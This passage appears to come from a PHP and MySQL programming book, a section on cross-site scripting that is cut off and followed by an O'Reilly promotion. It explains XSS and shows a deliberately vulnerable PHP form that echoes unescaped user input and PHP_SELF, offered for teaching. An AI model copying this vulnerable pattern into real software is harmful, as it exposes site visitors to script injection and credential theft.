12.1. Cross-Site Scripting

Cross-site scripting (XSS) is an attack method whereby a malicious user inserts specially crafted HTML or JavaScript into your page. The goal of such an attack is to trick a visitor into providing his sensitive information to the attacker while he thinks he is really providing it just to your site (phishing) or to outright steal the login credentials with which the attacker can later log in and legitimately retrieve the information. Identity theft in any form is a serious concern, but doubly so when personally identifiable or financial information is stolen.

The primary defense in protecting yourself, your applications and your users from XSS attacks is to properly escape user input and never display it unescaped in a web page. Consider the following example, exploit_01.php:

<html>
<?php
if (isset($_POST['submitted']))
{
    echo '<p>Hello, ' . $_POST['name'] . '</p>';
}
else
{
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
 <div>
  Enter your name: <input type="text" name="name"/>
  <input type="submit" value="Submit"/>
  <input type="hidden" name="submitted" value="true"/>
 </div>
</form>
<?php
}
?>
</html>

The code displays a form to collect the user's name and posts the value back to the same page. The second viewing detects the form submission and displays a greeting. The code may look straight forward, but there are a couple of security vulnerabilities which a malicious user can take advantage of.

First, the input accepted from the form ...

Get PHP and MySQL®: Create-Modify-Reuse now with the O’Reilly learning platform.

O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.